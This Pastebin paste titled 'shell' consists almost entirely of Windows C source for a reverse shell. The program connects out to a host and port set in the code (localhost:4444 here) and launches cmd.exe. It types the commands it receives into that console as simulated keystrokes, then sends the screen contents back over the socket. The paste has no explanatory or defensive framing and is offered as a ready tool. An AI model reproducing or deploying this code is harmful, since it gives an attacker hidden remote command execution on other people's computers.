Advertisement
Guest User

shell

a guest
Mar 6th, 2013
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.93 KB | None | 0 0
  1. Create by compaq
  2.  
  3. #pragma comment(lib, "ws2_32.lib")
  4. #define _WIN32_WINNT 0x0501
  5. #include <winsock2.h>
  6. #include <windows.h>
  7. #include <tchar.h>
  8. #include <stdio.h>
  9. #include <ws2tcpip.h>
  10. #include <ShellAPI.h>
  11. #include <tlhelp32.h>
  12.  
  13.  
  14.  
  15. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
  16. {
  17. WSADATA wsaData;
  18. struct sockaddr_in sockAddr;
  19. SOCKET sServer;
  20. int sockAddrLen;
  21. unsigned int i,j;
  22. SOCKET sClient;
  23. SHELLEXECUTEINFO exeInfo;
  24.  
  25. HANDLE hStdout,hStdin,old, hNewScreenBuffer;
  26. SMALL_RECT srctReadRect;
  27. SMALL_RECT srctWriteRect;
  28. TCHAR temp[10000];
  29. COORD coordBufSize;
  30. COORD coordBufCoord;
  31. COORD pos = {0,0};
  32. COORD pos1;
  33. CHAR_INFO done[160];
  34. SMALL_RECT srctWindow;
  35. struct addrinfo *result, hints;
  36. unsigned char url[100] = {"localhost"},port[10] = {"4444"};
  37. char temp1[10000];
  38. unsigned char temp2[200];
  39. TCHAR file[50] = {TEXT("C:\\windows\\system32\\cmd.exe")};
  40. CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
  41. DWORD bot,bot1;
  42. DWORD dwTmp;
  43. INPUT_RECORD ir[200];
  44. DWORD len;
  45. HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
  46. MODULEENTRY32 me32;
  47.  
  48. HANDLE hProcessSnap;
  49. HANDLE hProcess;
  50. PROCESSENTRY32 pe32;
  51.  
  52.  
  53.  
  54. WSAStartup(MAKEWORD(2,2), &wsaData);
  55.  
  56.  
  57.  
  58. ZeroMemory(&hints, sizeof (hints));
  59. hints.ai_family = AF_INET;
  60. hints.ai_socktype = SOCK_STREAM;
  61. hints.ai_protocol = IPPROTO_TCP;
  62. hints.ai_flags = AI_PASSIVE;
  63.  
  64. // Resolve the local address and port to be used by the server
  65. getaddrinfo("localhost","4444", &hints, &result);
  66.  
  67. sClient = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
  68.  
  69. connect(sClient,result->ai_addr, (int)result->ai_addrlen);
  70.  
  71. exeInfo.cbSize = sizeof(exeInfo);
  72. exeInfo.fMask = 0;
  73. exeInfo.hwnd = 0;
  74. exeInfo.lpVerb = 0;
  75. exeInfo.lpFile = TEXT("C:\\windows\\system32\\cmd.exe");
  76. exeInfo.lpParameters = 0;
  77. exeInfo.lpDirectory = 0;
  78. exeInfo.nShow = SW_SHOW;
  79. exeInfo.hInstApp = 0;
  80. ShellExecuteEx(&exeInfo);
  81.  
  82.  
  83.  
  84. hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  85.  
  86. pe32.dwSize = sizeof( PROCESSENTRY32 );
  87.  
  88. Process32First( hProcessSnap, &pe32 );
  89.  
  90.  
  91. do {
  92. hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
  93. memcpy(temp,pe32.szExeFile,20);
  94. if(temp[0] == 'c' && temp[2] == 'm' && temp[4] == 'd' && temp[6] == '.') goto outer;
  95. } while( Process32Next( hProcessSnap, &pe32 ) );
  96.  
  97. outer:
  98.  
  99.  
  100. AttachConsole(pe32.th32ProcessID);
  101. hStdin = GetStdHandle(STD_INPUT_HANDLE);
  102. hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
  103.  
  104. GetConsoleScreenBufferInfo(hStdout,&csbiInfo);
  105. pos.X = 0;
  106. pos.Y = csbiInfo.srWindow.Bottom-80;
  107.  
  108. ReadConsoleOutputCharacter(hStdout,temp,6480,pos,&len);
  109.  
  110. for(;;) {
  111. memset(temp1,0x00,sizeof(temp1));
  112. memset(temp2,0x00,sizeof(temp2));
  113. recv(sClient,temp1,100,0);
  114. for(i=0;i<100;i++) {
  115. temp2[i] = temp1[i];
  116. }
  117. if(temp2[0] == 'e' && temp2[1] == 'x' && temp2[2] == 'i' && temp2[3] == 't') goto pl;
  118. for(i=0;i<100;i++) {
  119. if(temp2[i] == 0x00) {
  120. j=i;
  121. goto next;
  122. }
  123. ir[i].EventType = KEY_EVENT;
  124. ir[i].Event.KeyEvent.bKeyDown = TRUE;
  125. ir[i].Event.KeyEvent.dwControlKeyState = 0;
  126. ir[i].Event.KeyEvent.uChar.UnicodeChar = temp2[i];
  127. ir[i].Event.KeyEvent.wRepeatCount = 1;
  128. }
  129. next:
  130. ir[i].EventType = KEY_EVENT;
  131. ir[i].Event.KeyEvent.bKeyDown = TRUE;
  132. ir[i].Event.KeyEvent.dwControlKeyState = 0;
  133. ir[i].Event.KeyEvent.uChar.UnicodeChar = VK_RETURN;
  134. ir[i].Event.KeyEvent.wRepeatCount = 1;
  135.  
  136. dwTmp = 0;
  137. WriteConsoleInput(hStdin, ir, j+1, &dwTmp);
  138.  
  139. Sleep(3000);
  140. GetConsoleScreenBufferInfo(hStdout,&csbiInfo);
  141.  
  142. pos.X = 0;
  143. pos.Y = csbiInfo.srWindow.Bottom-80;
  144. ReadConsoleOutputCharacter(hStdout,temp,6480,pos,&len);
  145.  
  146.  
  147. for(i=0;i<6480;i++) {
  148. temp1[i] = temp[i];
  149. }
  150. send(sClient,temp1,6480,0);
  151. }
  152. pl:
  153. SetConsoleActiveScreenBuffer(old);
  154.  
  155.  
  156.  
  157. return 0;
  158. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement